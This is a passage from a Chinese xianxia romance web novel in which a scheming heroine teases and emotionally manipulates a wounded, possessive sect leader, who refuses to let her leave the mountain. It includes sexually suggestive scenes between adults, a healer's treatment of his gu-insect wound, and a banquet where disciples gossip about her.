那一声之后,他似乎更加兴奋了,单手揽着她的肩将她压在怀里,头却更用力地往下俯按,她几乎脖子都仰断了,难耐地喘息起来,唇却始终不得歇息。 她无可奈何睁开了眼,瞧见曼陀罗纹的天花板,还有水波般荡漾的佛灯。 一切都隔在一层薄薄水膜之后。万物模糊、静寂,唯有他的心跳,还有扑在她鼻间的喘息。 这就是顾怀瑾的吻啊。 她太阳穴突突跳动,心神恍惚地想,到底还是给她得到了。 只是,这样的吻。 仿佛两个人共同置身于汪洋中心的一叶小舟上,两人共同掌舵,既相依为命,又你死我活,今日是同登极乐,但是这样吻下去,早晚会死一个。 会是谁? 她茫茫然感受着他贴在她唇上含咬,甚至不止是唇上,连身上也变得不由自主起来,心里无措地想。 是不是一直用吻来逗弄他,叫他憋得狠了。 于是眼下,这样疯狂,来报复她。 良久,他似乎终于泄了怒,喘息着,从她唇上离开。 她双眼微微失神,气喘着,由着他松开。 然后,彼此都忽然看见,两人唇齿间,拉出一根纤细的、晶莹的、摇晃欲滴的线。 顾怀瑾克制不住,又阖了眼追来。 但她方才已经给了太多,决计不肯再给了,于是偏开头,手四处寻着可借力的地方,想坐直身子。 然后,莫名地……摸到了一块,坚如磐石的东西。 第72章 顾怀瑾难耐地哼了一声。 她眨眨眼,蹑手蹑脚地松开,假装若无其事。 “皎皎……”他气喘着,俯下身来,额头磨蹭着她的太阳穴,带着血腥气的泪蹭到她发间,“他吻你吻得舒服些,还是我吻得舒服些?” 还用说吗?她软软靠在他身上,浑身麻得支撑不起来,她快累死了。 “说话,皎皎。”两颗泪滴落下来,砸在她领口,洇出两朵浅红的花,滚落到她胸前。 她素来不爱给他喜欢的答案,可是他今天,似乎确实受了太多折磨。 她抚上他的背,轻轻拍着:“……你。” “那你是喜欢他还是喜欢我?” 她无可奈何地笑起来,“……李玄白是一个会拿珠子往我脸上比划的人。” 他默了一瞬,将她脸上他的血泪轻轻吻去:“原来皎皎也知道啊。我怎么说,皎皎也不肯信,也不肯听,还是原样照旧,日日跟他混在一起,我以为皎皎根本不明白。” 她如何不明白,她看男人最是一针见血。 顾怀瑾总以为她爱李玄白,简直是笑话,那样的男人,她可见得多了。 天天跟他混在一起,即便被他牵连也不怨,根本全都是为了你啊,怀瑾。 她依偎在他怀里,伸出一根食指,在他唇上点着,那是她喜欢的玩弄。 顾怀瑾垂眼张了口,将她的指尖含进嘴里。 她笑起来,他现在怎么这样没羞没臊的,“干什么。不生气了?” “我本来就没有在生气。” 她凉凉笑了一声。 好,你说什么是什么。 不过,吻我得到了,接着是下一步了。 她摸着他的嘴唇:“那我什么时候下山?” 窗外浓云蓄集,忽地一阵瓢泼骤雨,打得窗扇在风里吱呀开合,顾怀瑾起身去关了窗。 再回来的时候,衣襟上除了伤口喷出的乌血,还印了些杂乱的雨点。 他轻轻问:“ 你说什么?” 她心里咯噔一声,几乎喘不上气。 他将她拉到身前,爱怜地垂眸吻她的唇,温柔道:“皎皎,我要你再说一遍。” 望着他眼眶里陡然翻涌上来的红意,南琼霜忽然意识到,今日这颗棋,下错了位置。 下早了。他如今受了伤,承受不了。 他的泪蓄了些更加浓烈的红,比方才还要更艳三分,从眼底喷了出来,直直往下淌,拉出两根直线。 倒是依然和煦笑着:“说啊。” 面色惨白,眼泪猩红。 她按捺下胸中忐忑,这人怎么了,中了蛊之后,哭就会流血? 垂眼一看,他方才划开的伤口,或许是因为气血上涌,又开始血涌成河——原本就没有愈合,眼下那些黑亮的血复又毫无阻拦地汨汨淌下,两个人的白衣,眼下一片狰狞。 这样下去,人恐怕真的会失血而死了。 他还不能死在这里。 她闭了闭眼,双手去捧他的脸:“……好了,怀瑾。我……” “皎皎,再说一遍啊。” 他发着抖,身上不知是哆嗦还是抽搐,抖个不停,抖得血泪扑簌簌落,滴答、滴答地打在雪白衣襟上。 “说啊。去哪。跟谁。说啊。” 她难得的承认自己说错了话,懊恼起来:“对不起,你别激动。你看你这个样子,怀瑾。” 说着,胳膊伸过他颈后环握,跪直了身子,主动贴进他怀里,一下一下抚摸着他的脊背。 他顺势搂住她的纤细腰身,连牙关都在颤抖:“都这个样子了,还要下山?还要下山?皎皎?” “吻都吻过了,人也给你关进大牢了,怎么就不肯死心呢?他到底有什么好?你也知道他是那样一个谁都可以利用的性子,为了他自己,连你的安危都不顾,你怎么就不死心呢?皎皎?” “说话,皎皎,说话!” 她头一回听见他凶她。 她有点恼恨方才失言,明知道他不正常,可是还非得激他—— 她垂眸,吻去他一颗颗滴落的血泪,“好了,怀瑾,你别生气……” “生气?我生什么气?我怎么会跟皎皎生气?” 他这样说着,可是却把她一把从怀里解了下来,按着手腕将人扑倒在床榻上,整个人又压了上来。 完了,她就知道。又是这样。 她听天由命地闭了闭眼。 顾怀瑾整个人压住了她,既不由她动,也不许她分开,本想两肘撑在她两侧脸旁,可是那支中了蛊虫的胳膊稍一使力,他就闷哼了一声,栽歪到她身上。 “怀瑾!” 他神色痛苦一瞬,本就苍白的面孔冷汗涔涔,因着脸上白,眼圈和眼底的红就更加艳丽,显出些不合时宜的动人来。 人微微喘着,鼻尖上晶莹的冷汗,一闪一闪。 是啊,他总是这样。再脆弱也不狼狈,反而越破碎,越剔透,仿佛一大把彼此相击便叮叮当当的碎冰。 血泪一颗一颗砸在她脸上,他碎得那样好看,她一时简直呆了。 “皎皎。”他根本不知道她在想什么,一面吃痛,一面强撑,咬着牙将她五指一根一根扣紧,十指相锁: “为什么帮他?为什么答应他下山?为什么想跟他一起下山?明知道他不可托付,为什么非要跟他一起下山?回答我。” “你喜欢他?你到底喜不喜欢他?怎么想的?你喜欢他还是我?” “什么时候答应跟他一起下山?为什么要答应他?还答应他什么了?我去点卯你们说了什么?从菩提阁……” 声音恨起来,“从菩提阁出来,故意从我面前经过的时候说了什么?木回廊里说了什么?怎么说着说着吻上了?说话,告诉我。” 他这样发疯,南琼霜本以为自己会忌惮的。可是或许这一切她早已在他身上见过,亦或许她有点喜欢他这样患得患失,再或者…… ……或者她喜欢他这样的长相,俊雅疏冷如竹如玉,可是红着眼圈落着泪,难以自抑地向她确认她的爱。 颐指气使的男人,南琼霜见过不少。敷衍倒是也敷衍得了,可是没有一个看得上。 唯有这种落着泪求她的好看男人,会得她多看两眼。 何况,是逼着逼着便会强势起来,容许她演受害者的好看男人。 他发疯也挺好玩的,她此前怎么没有发现? 她兴致盎然看着他一面自我折磨一面落泪,这时候竟恍惚懂了,今日木回廊内,李玄白看她那个眼神。 ——明知道缺德,明知道犯贱,可偏偏就是喜欢。 她笑意难耐,偏过头笑出了声。 啪嗒啪嗒掉眼泪的顾怀瑾霎时呆了。 “皎皎……你笑什么?” “我……”她捂住唇,望着他愕然得有点乖巧的神色,不住莞尔。 缺德啊,真缺德。她连这一点都跟李玄白一样。 “……还笑?”他几乎有点懵了,“我这个样子,你还笑?” 就是因为你这个样子,才笑的,怀瑾。 这话,她哪里敢开口,手抚上他的脸,刚想帮他将血泪擦去一些,忽然那个早就蓄势待发的物件再次顶在门上,和他本人一样怒气冲冲。 如今他这样子,她已经见怪不怪了,懒洋洋笑起来: “……干嘛呀。” “回答我。在问你话呢。你笑什么?” 又是一下。她身不由己地哆嗦了一下,仰了脖子。 她那忽然地一仰脖,顾怀瑾不知想到了什么,垂眸,喉结难耐地滚动了一阵。 她双手环在他颈后,大拇指刮了刮:“要答案?没有。” 顾怀瑾素来是一个不知如何生气的人,泄愤就只有这种方式。 “没有?你敢跟我说没有?”语气越阴狠,越发在她身上摩擦。 磨得她浑身一阵发热。 不过,那样清冷禁欲的人,怎么一见了她,天天就煎熬成这个样子。 她笑起来,“你这是做什么?逼我?” 他长吸一口气,另一侧中了蛊虫的胳膊终于支撑不住,倒下来,伏在她耳畔艰难喘息。 可是,依旧不肯停。 一声、一声,悠长的、粗重的、难以自控的,低吟。 很像…… 她笑起来。 不是说过了吗?她喜欢男人为她失控,为她难以自抑,为她求生不得、求死不能。 人长得好看,哭起来更好看,喘得也好听,逗起来也好玩,她喜欢顾怀瑾。 她阖眼,搂住他脊背,这回轮到她磨蹭着他的眉毛,在他耳畔吐息了: “我喜欢你,怀瑾。” “但是,如果你要答案——没有。” 两句话,两阵轻轻的兰息,拂在他耳廓上,奇痒无比,他恨不得伸手到皮肤底下挠挠。 “如果我说……答案我都没有,怀瑾生气吗?” 他睫毛颤动了两下,变本加厉地磨她。 “生气。” 她笑了,“那怎么办……?要不要我……” 手伸下去,摸到了那个一直蠢蠢欲动、图谋不轨、觊觎她已久之物。 顾怀瑾难以自控地哼了一声,咬住嘴唇。 她愉悦笑了起来,胆敢用这招数来逼问她,谁会比较受不住啊? “怎么了,怀瑾……?”她轻轻推拿着,吻着他耳垂,故意嘘着气,在他耳边呢喃,“胳膊疼吗?哪里受了伤?” 他伏在她颈窝里,更加起不来,扣着她的手,几乎将她都攥痛了。 但没关系,她也恋痛。 “皎皎……”他喘得更加沉重,仿佛整个胸膛都嗡鸣起来,身不由己得像一条砧板上的鱼: “别乱动,你……” “我?”她吻了一下他的眉尾,温温柔柔地笑,“一直这样磋磨我,我以为你喜欢。” “我……”他埋在她颈窝里,声音闷闷的。后面,说不下去了,甚至,何止是不能说话,他巴不得自己能不出一点声。 她长发旁边的锦衾,缓缓被他抓紧了,抓得一派凌乱。 她手上愈发放肆了些,五指缓缓收拢,紧紧环握,可是,也仅仅是握着,不肯动弹。 “到底喜不喜欢,怀瑾?”她把头贴到他耳畔,像两只小动物一般顶着头磨蹭,他的耳廓如今已经滚烫,仅仅是这样贴着他的头,都听得见他太阳穴怦怦跳动。 她手上似乎也在突突跳动。 她不由自主倒吸了一口凉气。 这人平日里太克己,太自抑,什么心绪都自己锁在理智之下。然而只是忍耐,不是没有,日积月累,仿佛在窄小的柜子里锁了一场海啸。 原本,柜子就锁不住海。 现在,她还仅仅是将那紧锁的柜门撬开了一个小缝,就已经依稀听见里头高亢的巨浪。 她一时也为难起来。 很想玩玩,他真的很好玩。 可是,他体内那些 早已蓄集酝酿已久的狂暴的浪,不是可以随意亵玩的。玩弄人心者,务必敬畏人心,贸然挑衅一个已经到了临界点的人,他自然是尸骨无存,可是她也未必闹到什么好处。 忽然却听见他在她耳边,身不由己地吸了一口气:“……不喜欢。” 她浑身一个激灵,火花顺着脊椎窜过全身,留下一阵亢奋的战栗。 她笑了起来,“真的吗?” 顾怀瑾还是不了解她。他不知道,如果说“喜欢”,她也就觉得无趣,放过他了;说“不喜欢”,她反而心痒难耐,反而不肯放下,反而不会善罢甘休。 不喜欢吗?真的不喜欢吗? 她最讨厌人嘴硬,最喜欢用软刀子相逼。 她去轻轻吻他的耳朵,如今他整个人已经烫得像一块烙铁,用唇贴上去,连她都心焦不已。 她吻着,用话哄:“怀瑾,我喜欢你。”一面手上缓缓、缓缓动起来,握在掌中慢吞吞地推拿,有意把所有感觉全部抻开拉长,不至让他剧烈到爆发清空,但也绝不肯轻易放过。 顾怀瑾简直哼了起来,不自觉晃着,呼吸一下一下拍在她耳侧,震耳欲聋。 “皎皎……” 那样粗重紊乱的呼吸,人已经是垂死挣扎。 “……嗯。”她阖着眼睛继续吻着,故意将气息吐在他汗毛倒竖、汗珠滚滚的颈间,“喜欢吗,怀瑾?” 喜欢就说喜欢。你服软,我未必不会听。可是永远不说,就永远继续,直到你真的失去一切。 道德、底线、面子、风度、君子面具,还想要吗? 想要就服软,说你喜欢。 喜欢我……这么对你。 “皎皎……”他却叹息着道,“……我不是喜欢你。” “——我是爱你。” 屋内一时静寂,外面的狂风骤雨声被薄薄一扇窗板完全隔绝了,室内烛火跳动,满屋明光,温暖而安定。 他轻轻的,又说了一遍:“真的很爱。” 四个字,她心里轰隆一声。 明明她在刁难他、玩./弄他,怎么这时候,反倒向她说爱。 顾怀瑾,真是她从未见过的那种男人。想看他失控、失态,想窥探他的欲望,仿佛有意在水里放盐下醋,逼着鱼虾吐黑泥,不想竟是一只蚌,油煎火燎地拷问,吐出来的却是珍珠。 她一时觉得有点无力。 良久,她松开了手,抚上他背脊,缓缓拥住,叹了口气。 顾怀瑾终于得以幸存,气喘吁吁,完好的胳膊,伸到她腰后,将人深深搂住,一个安心的、宽阔的怀抱。 “皎皎。” 她看着天花板,自己也不知道自己为什么要解释,但还是说: “没有跟他说什么,其实也没有在帮他。他确实说过,衡黄恐怕要暗算他,所以要我帮忙传信。他得罪衡黄是为了我,所以那时我同意了。但是菩提阁内,他那样把我卷入其中,我便不想帮了,所以帮他一下,诈他一下,故意叫他受伤。” “我也没想到他会吻我。台上,他把本命珠冲到我脸上,所以我再见他,其实恨不得扇他一耳光。在跟他吵架,所以没有同伊师兄走。然后,吵着吵着,我把他本命珠扔下了水,他反而……” “本命珠扔下了水?”顾怀瑾忽地撑起身子,垂首看她。 他方才浑身都麻了,倒在她颈窝无法动弹,这时候伏起身子,她才发觉,平日里清冷如谪仙的人,眼尾鼻尖竟一圈旖旎薄红,因为方才用力吻过她,唇也红着,可是人又那样白,两厢衬托,一种令人心悸的疏艳。 当真是越破碎越动人,越动情越好看的一个人。 她心里咯噔一下。 他自己完全不觉,神色如常地问,“本命珠入水?他没来得及捞上来?” 她:…… 她敷衍一句:“或许是没想到吧,当时又那样大的雾。” 顾怀瑾凉凉笑了一声:“废物。怪不得那时候跳下水去。” “还生气吗?”她拍拍他的后背,伸出手去抚摸他的脸。 他闭上眼,又垂下头来吮她的唇,湿润的唇两厢黏合,他不肯再说话。 接吻,仿佛久居水上的人骤然回了陆地,一动不动,也乱波荡漾。 不知过了多久,她头晕眼花,微微仰头想错开他一些,脸不免在旁边的衾被上蹭了蹭。 这时才发现,一旁的衾被,整个湿透了,潮湿而寒凉。 她心里一惊,睁开眼一看。 满床的锦被,全被染湿了,乌褐色的血以他为中心一点点洇开,仿佛他在用血肉,供养一朵狰狞的花。 她忙把唇上贴着的人拨开,他茫然睁开眼睛,“怎么了?” 怎么了?他竟然问她怎么了? 她道:“你的血……!”把他推开,自己坐起来,小心翼翼把他扶着靠到床头,给他垫上一个软枕。 然后松开他的手,下了榻,“我去帮你找找屈术先生,看怎么还没来。” “皎皎。”他又拉住她,把她牵了回来,“回来。” 她简直不知说什么好,又被他拽得坐回了榻边,眼看着他阖了眼,又不依不饶地侧头过来寻她的唇,她把他又推开一点: “你看看你自己,不要命了吗!” 他睁开眼,一双眸子润泽缱绻,眼尾嫣红,痴痴看着她,一面握着她的手,按在了自己腰间。 声音很轻: “……不要了。” 第73章 她一时竟然不知道说什么好,倒吸了一口凉气。 还只是给他稍微尝了下滋味,就已经不得了了,流那么多血也不管,抓着她不撒手。 不该给的时候不能给,她固执抽回了手。 他却从软垫上坐了起来,从后面环腰拥住她,头贴着她的发顶,摩挲着,另一面,悄无声息地抓住她的手,不知不觉,又放到他那气势汹汹之处。 她无奈:“别闹了!一会屈术先生就来了。”方才玩你,你七个不准八个不愿,如今想要,那就是再也没有。 顾怀瑾叹了口气,顺着她脸颊嗅到她鼻尖,又缠绵地含住了她的唇: “皎皎,下山,你不要想了。这个样子,我不论如何不会放你走。” 她总算得到了渴求已久的话,笑起来:“什么呀,我不跟他一起走还不行吗。” 他沉默许久。 最后,吻她的额角:“不行。” 她想试试还能逼出什么:“为什么?” 又一阵难捱的寂静。烛火惶惶跳动,墙上映出他从背后拥着她的影子,虽然是她靠在他怀里,可是那影子,却像是他依赖着她似的。 良久,他道:“我放不了。” “放不了什么?” “放不了手。” 他呓语般呢喃:“我受不了。皎皎,你就当……” “……可怜我。” 她的心毫无预兆地塌陷一块,酸酸的失重感。 “那山上人呢?怎么办?” 他笑:“别听他们放屁。” “可是上回,慧德长老给我下毒,显然已经认准了我是细作。连慧德长老都那样……” “师叔?”他笑了一声,“皎皎,这山上是我管事的。从前我顾虑太多,时时被人拿捏,如今渐渐才想明白,本就全是 顾氏的基业,我何必任人骑在头上。” 他吻着她眉尾,“不过,这山上到处是机关,皎皎在此,总是不大安全。不若跟我住上朝瑶峰。” “朝瑶峰?” “顾氏禁地,唯有我能进的地方。那里没有机关,除了峰上山寺里的一些和尚,也没有什么图谋不轨的人,景致也美。倘若在那里,皎皎还能自由些。” “那你能也来吗?总不能只有我一个。一座峰上只住我一个人,我不敢。” 他笑得无奈:“我若是能不见你,又怎会强留你。”说着,磨蹭着她鬓角,叹了口气。 南琼霜听着,垂下眼,笑了笑。 她倒是知道顾怀瑾爱她,但也没有想到,他依赖她到了这个程度。 或许,最开始只是一点怜——怜本已经是一种爱。他又是一个那样容易愧疚心软的人,在她身上多投了些眼光,也实属正常。 后来,或许是七乌香木,或许是她三番两次温柔解语,或许是她那些状似无意的小伎俩,或许是她用李玄白咄咄相逼,这人对她的感情终于变了质。 然后,她落入地宫。他本就是那样一个无法见死不救的人,等到他半出于爱、半出于愧地救她上来,他在她身上花了那样大的代价,想再同她相敬守礼如初,早已不可能。只是性子克己,强自忍耐。 直到,山门前那棵树下。 她笑了起来。 不过,自从那日她用棍棒撬得这只坚硬的蚌开了口,他似乎就与从前不大一样,仿佛那样硬撬,撬得这蚌崩碎了边缘,再也回不到从前。 身后,顾怀瑾竟然按着她的手,又兀自拨弄了起来,密密地吻落在她后颈。 她“啧”了一声,眼下这人真是没羞没臊的,“别闹了,没完了?这样流血,不冷吗?” 他只是垂眸啜着她肩头:“我其实根本顾不及。” “那你……”她哭笑不得,那你就只顾及这个吗? “这里是菩提阁。慧德长老礼佛的地方。你在这里……” 顾怀瑾根本听不进去,撩开了她的长发,一面按着她握住,一面从背后吻着她的脖子,轻轻叹息起来。 他带点不甘:“明明是你先……” “一会屈术先生还要来呢。你这样……”她用力握了握,“给他看见了,我看你怎么办。” 他嘶了一口凉气,停了一下,才道:“……我把屈术先生要来给忘了。” 她嗔怪回身瞪了他一眼,这你也能忘。 她从他怀里站起来,“那你现在怎么办?你总不能人家来的时候还这样……” 回身一看,这人一双眼睛还是澄亮如寒泉,可是眼尾两圈迷离红意,疏冷旎艳,仿佛他最爱的那种触手彻骨、入口灼心的桃花酿。 他实在是生得太好看,她又去吻了吻他的眼睫。 他忽然道:“皎皎,我刚才……”手伸到她脖子上,小心抚摸着,“我刚才……咬了你一口?” 她用手一碰,一丝刺痛。 去柜中翻了面小镜子出来,才看见一圈圆圆的牙印,咬得破了皮,渗出血来。 “就是说起李玄白吻我的时候,咬了我一口。你看你把我咬的。”她拿着那面小镜子坐到他身侧,故意扮惨,“一个牙印,还有……” 雪白的脖颈上,一点淤紫的吻痕,扎眼得紧。 他倒吸一口气,在她那个吻痕上轻轻打圈摸着,自言自语似的,“我怎么做了这种事……。有些时候,也当真是不知道自己发的什么疯。对不起,皎皎。” 一面轻轻在她那个伤处吹气,吹得她脖子痒痒的:“痛吗?” 她喜欢看他心疼她,所以垂下眼,“痛。” 他怜惜不已,捧着她的脸摩挲两下,“我先帮你上药。” “不要上药。一会屈术先生还来呢,我去寻点脂粉盖一盖。”起了身,想去桌前看看有没有,却被他拽着胳膊拉了回来。 “都破了皮,上什么脂粉?我去吩咐他们拿药。” “不要上药。”她推开他,“一会来人呢,再叫人看见。你方才可真是没轻没重的。” 他无法回答,一时沉默。 “被人看见也无妨。这山上还有谁不知道我们的事?还想瞒着谁?瞎子都看出来了。” “那也不行!”她轻声斥他,把他又来握她的手打开,“又是吻痕又是牙印,你不要脸我还要脸,还有你,你瞧瞧你那身上……” 视线往下移动,他那些怒火竟然依旧气宇轩昂,简直欲盖弥彰。 “……我看你一会怎样同屈术先生解释。” 顾怀瑾一看,脸色也白了一瞬,尴尬不已。 这时候,他忽然想起,当着她的面这样,以前也不是没有过,但那时他哪里敢叫她知道,自己隐约感觉到,就吓得要命。 没想到,竟然还有这样的一天。 再抬眼,他眼神又泛起暧昧湿意,长睫压着眼眸,“那你帮我。” “我帮什么帮!”他现在已经连这种话都说得出口了吗! 他听不进去,不依不饶地又来拉她的手,哄她在他身上坐下。 这时候,门被叩了两下,是屈术先生的声音:“少掌门。” 她红着脸腾地一下从他怀里窜出来,剜了一眼身后毫无波动的人,慌乱把长发拨到脖子两侧,领子拉好。 顾怀瑾叹了口气,又上了榻,用厚厚锦衾把身上盖好。 “请进。” 门一打开,屈术先生颔首行礼:“少掌门,奉慧德长老之命,来替您医治。” 顾怀瑾靠在软垫上,方才那种动情难耐、痴缠缱绻的磨人神情竟然一瞬间消失不见,整个人变脸一般妥帖笑着,风度翩翩,温和颔首。 “有劳屈术先生。” 南琼霜:……? 三十秒前,这个玉树临风的人,还非要她“帮他”。 屈术垂着头走到榻侧,药箱放在床头柜上,低头翻找着。 两人隔着屈术,对望一眼。 还好,屈术先生只是垂首从她身边走过,似乎没有发现什么异常。如今,房间里又一派血腥气,他方才似乎也没有到顶点,并没有什么奇怪的味道。 如果非要说,或许他脉象会格外不稳些,两个人的脸也可能红得有些异常。 不过,大夫一把脉,说不定什么都把出来了,她垂下眼眸,退到门边,想偷偷出门。 如果要丢脸,他一个人丢脸好了。 却一抬眼,发现顾怀瑾正在榻上盯着她,朝她伸出了手。 她想装没看见,这人抓着她就不肯放的。 屈术先生顺势在他那只胳膊上开始把脉:“少掌门不必抬得这么高。” 南琼霜不免低下头笑了一声。 顾怀瑾看她一眼,不得不将胳膊放在脉枕上,又用眼神唤她过去。 屈术屏息一阵,十分纳闷地嘶了一声,“少掌门身中蛊毒,又失血甚多,脉象却是血气上涌,本不应是这个脉象啊。” 顾怀瑾无话可说,“您说的是。” 屈术:“可是发生了什么?” 顾怀瑾摩挲着衾被边缘,没说话,撩起眼皮来瞧了她一眼。 她事不关己地转开眼神。 顾怀瑾搪塞着:“年轻人……气性大些。” 屈术:“还有,这伤口怎么竟伤得如此之深。方才我听长老说,只是划了道不深的刀口,那蛊虫自刀口钻了进去。” 顾怀瑾:“消息传错了,确是玄白师弟将我划成了这样。” 屈术捋着胡须缓缓摇头:“原来又是……少掌门同他交手,需得小心哪。您瞧,您这样好脾气的,到现在还给气得脸红脖子粗。” 顾怀瑾笑着道是。 屈术:“请少掌门将中了蛊虫的胳膊放在这玉枕上,我来替您逼出蛊虫。”一面又回头过来对她道:“劳烦楚姑娘将这染了血的衾被、床褥换一换,蚰蜒蛊忌血。” 她和顾怀瑾彼此对视一眼,一愣:“现在吗?” 屈术:“现在。” 顾怀瑾抓着衾被边缘,不肯撒手,“不过我方才失血过多,眼下有些冷。不知可否……” 南琼霜捂住脸,悄悄从房间里摸了出去。 第74章 多亏了那只金环,顾怀瑾的蚰蜒蛊被生生卡在小臂之内,没能再往体内游走。 那日之后,屈术先生施针熏香,不多时便从他伤口内逼出了一条活生生的长蚰蜒,又放尽毒血、清洗包扎,替他开了些生血的药。 两三日后,他小臂便消了肿,中了毒的青紫色褪去,只是略微麻些。 这么些年,在大比中中了李玄白的蛊虫的,少说也有十几个,顾怀瑾是其中唯一一个保全了性命的。 因着此事受害之人已经不算少,顾怀瑾原本是铁了心要整治,何止是不许他下山,一口咬死要将他在逝水牢中关一辈子。 慧德不论如何不允,双方僵持了三天,到后来顾怀瑾一气之下又将让贤下山之事提上日程,慧德实在无法,终于松口,以允许南琼霜留在山上为筹码,换顾怀瑾对李玄白网开一面。 顾怀瑾依旧不肯。 用他的话来说,“我的人要留在我的山上,何须他人同意”。 慧德在山上积威已久,这样下去,山上势必分裂为两派,局势不知要怎么变动。 何况,李玄白对她有用,她也确实不想李玄白死。 于是,她打算劝劝顾怀瑾。 不过,她也明白,以他那个患得患失的性子,倘若她说“你留他一条性命吧”,说不准这人第二天就真没了。 所以,有天晚上,顾怀瑾公文尚未批完,坐在榻上挑灯夜读时,她趴在他膝上道,“不若你对慧德说,倘若要你放过李玄白,就要慧德放过我。他早就想杀我了。” 他道:“我们马上就上朝瑶峰了,只不过那地方放了许多年没有人住,近些日子在收拾打扫而已。左右在这底下没有多少日子了……皎皎很害怕?” “倒也不算吧。”她嘟囔着,“不过,孤峰上不是很冷吗?眼下是夏天,自然是怎样都行,可是到了冬天,不还是要回下面来。” 他一时无话。 窗外虫鸣啾啾,廊下莹白的灯笼旁飞旋着一圈小虫,不住地撞在灯笼上。 六月份的天山,晚上带着草木芳香和露水湿气。 他垂眸翻了一页公文:“皎皎到底是害怕师叔,还是想救他?” 她伏在他膝上,懒洋洋笑了一声,把自己垂落下来的碎发吹起了一点。 “我不喜欢他,是他老追着我跑。说了多少次了,怀瑾。” 她不喜欢李玄白,从来不怕在李玄白面前明说,自然更加不忌讳在顾怀瑾面前说。 反正,李玄白那个性子,是越不喜欢他的,他越喜欢;顾怀瑾这边,眼下她要的也要到了,没有什么钓着的必要,这时候再三心二意,她也怕徒生波澜,坏了大事。 她笑:“你怎么总觉得我喜欢他?” 一想到她或许有点喜欢李玄白,他就心气不顺,哪怕只是这样顺口提一嘴,他就开始烦躁不已。 他没说话。 翻公文的声音传进耳朵里,没有人说话,虫鸣阵阵,她在他腿上拱了拱,渐渐困了。 许久,他问:“皎皎不喜欢他,那喜欢谁?” 她打了个哈欠:“喜欢伊海川。” “皎皎!”他的公文顿时搁在榻上。 她轻声笑了一阵,躺在他膝上,渐渐困得眼睛睁不开,听他的声音,仿佛是梦中人的呢喃: “皎皎真的害怕……?” 她睫毛颤抖了两下,缓缓阖上。 “如果皎皎真的害怕……”安稳的梦里,身边人低低叹了一声,“……那我就留他一条性命。” 不久,李玄白在逝水牢内关了小半个月,终于给放了出来。 他踏出逝水牢的第一步,顾怀瑾就挡在他面前,催他下山。 不想,竟被慧德强留下了。 慧德:“今年大比,一甲乃是怀瑾,按照此前……你今年也不得下山。” 语焉不详的话,李玄白和慧德对视一眼,心知肚明,都没再争执下去。 顾怀瑾也是人精,品出他身份大约不简单,也就不再说什么,只是严防死守,绝不准他贸然靠近暮雪院一步。 又过了些日子,朝瑶峰修缮清扫完毕,两个人即将搬上去,又刚好撞上衡黄、衡青南即将下山,于是天山设宴送行,她和顾怀瑾也最后参加了一回。 当日送行宴,慧德、宋瑶洁等人一贯坐在上首,衡黄、衡青南作为贵宾自然也在侧,顾怀瑾作为少掌门,无可推脱地坐在最上头,一张长桌,她坐在最尾,远得几乎看不清他。 她一个人在角落默默入座,因着宴席是宋瑶洁一手操办,面前只给她上了些清蒸小炒。 她四处环视一圈,满堂主宾面前俱是什么狮子头与虾圆子,独独她面前是三盘大头菜,连那碗碟都磕破了一个角,夹菜时来来回回地刮衣服。 这倒也罢了。 只是。 她如今在山上,闻名得连路边的狗都想过来瞧她一眼,刚低了头坐下,便见身旁众弟子一个一个探头探脑、昂首伸脖地隔着八百里眺望她。 被这样多双眼睛悄无声息瞧着,连她也有点不自在,何况这样毫不遮掩的冷遇。 她不想同任何人对视,若无其事地抚摸着碗边的那一个缺口。 但还是听见了身旁弟子的窃窃私语。 一个胖得面红耳赤的弟子对一旁蚂蚱般瘦削的弟子附耳道: “哎,这就是咱以后的掌门夫人?听说少掌门为了她,跟慧德长老闹得势如水火,几次三番说要让位,不干了。也不知道这女人给少掌门灌了什么迷魂药了,这样下去,我们少掌门岂非真要下山了?” “听说慧德长老几次三番催她下山,但她看上了我们少掌门,死活不肯走,死皮赖脸哭爹喊娘地缠着。我们少掌门是怎样和善的一个人,竟就将这祸害留在了山上,也不知往后会怎样。” “还有呢。就连玄白师兄也看上了她。眼下两个人抢得腥风血雨的,少掌门今日为了她同长老争执,明日又为了她同玄白师兄闹得不愉快,后天瑶洁师姐也早已对此不满,我们少掌门那样好的一个人,快将阖山的人得罪了一个遍。” “可怜我们少掌门,原先是交口称赞,眼下多年美誉毁于一旦。这山上有谁待见她,她在山上妨碍了多少事,能不能有些自知之明,自己下山啊?” 南琼霜垂眸听着,神色冷淡。 那肥头大耳、满面红光的弟子指了一下她那磕掉了一个碴的碗,嘻嘻笑着: “不过,你瞧,宴席是大师姐办的,大师姐就不惯着她了。穷酸人用穷酸东西,刚好相配。” 说着,往嘴里夹了个油花花的大虾元子,刚好与她撞上眼神,也不闪不避,反而挑了挑眉。 南琼霜行刺这些年,因着走的是攻心的路子,被男人女人嫉妒污蔑已经习以为常,不会放在心上,于是只是笑了一笑。 上头,顾怀瑾正举着酒盏讲话,他在人前是一贯缜密练达、游刃有余,挑不出丝毫错处的端方君子。 她不常与他共同参加山上集会,对他在山上的德望名声便不大了解,他平日做少掌门时,如何对待众人,她也没怎么见过。 因而,他在上首那样从容自若、应付自如,她一时竟觉得陌生。 他在众人面前,原来是这个样子。 那样的人,竟然会为了她要走,整夜整夜地不肯睡觉,抱着她不松手。 这两者简直无法联系在一起,她觉得有趣,一不留神,手里乌黑的竹筷,啪嗒一声,掉了一根。 那胖得满面油光的弟子同身旁瘦得竹竿一般的弟子彼此嬉笑: “我说什么来着。说了两句,吓得筷子都拿不稳,恐怕是屁本事没有,下山之后自己一个人活不下去,哭着喊着要少掌门庇护。” 那个瘦子人中上两排小胡须,直直望着她道,“你看少掌门能忍耐她到几时。我听说,她日日哭, 少掌门已经厌烦了,每日将她锁在屋子里不得出。” 那胖子道,“嗨,少掌门厌烦她是早晚的事,天底下女人这么多。开席这么久,你看少掌门看过她一眼吗?” 忽然,阿良自身后唤了一声:“楚姑娘。” 她一回身,见阿良用瓷盘端上一双玉箸: “少掌门在上头见姑娘筷子掉了,吩咐我给姑娘拿双新的来。温玉养人,少掌门特意吩咐了拿双玉箸。” 她轻飘飘瞥了一眼身旁两人: “他不是在上头正说话吗?怎么瞧见……”回身往上首一看,正见顾怀瑾遥遥望过来,看她那一眼,话都断了一瞬。 那两人冷汗涔涔,心虚挪开眼神,半分不敢往这边看。 阿良又回身,端上一个盛满了珍奇佳肴的托盘,“少掌门说给您配的菜太过简单,方才已经吩咐了厨房重做,请姑娘用这一份吧。” 她看了那两人一眼,如今那胖子脸色已经憋得青紫,两人脸上如见了鬼般难看,她笑了一瞬,故意想再端些架子,“太油了,我吃不下。还是清淡些好。” 